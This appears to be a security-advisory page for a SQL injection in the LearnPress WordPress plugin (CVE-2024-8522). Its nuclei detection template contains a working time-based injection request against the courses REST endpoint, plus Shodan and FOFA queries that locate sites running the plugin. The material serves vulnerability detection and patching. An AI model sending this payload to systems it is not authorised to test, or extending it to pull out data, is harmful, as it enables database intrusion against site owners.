LearnPress < 4.2.7.1 - SQL Injection

criticalseverity

7.5CVSS score

62.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=6 and contains(content_type, 'application/json') and contains_all(body, 'id\":', 'name\":')

Run it with nuclei: nuclei -id CVE-2024-8522 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-8522

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: pdresearch,iamnoooob,rootxharsh
  severity: critical
  description: |
    The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://github.com/advisories/GHSA-3w3r-r6g6-w8x5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8522
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8522
    cwe-id: CWE-89
    epss-score: 0.62882
    epss-percentile: 0.99205
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: thimpress
    product: learnpress
    shodan-query: html:"/wp-content/plugins/learnpress"
    fofa-query: body="/wp-content/plugins/learnpress"
  tags: time-based-sqli,cve,cve2024,learnpress,sqli,wp,wordpress,wp-plugin,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?course_filter=&c_only_fields=post_title,(select(sleep(6))),ID& HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "contains(content_type, 'application/json')"
          - contains_all(body, 'id\":', 'name\":')
        condition: and

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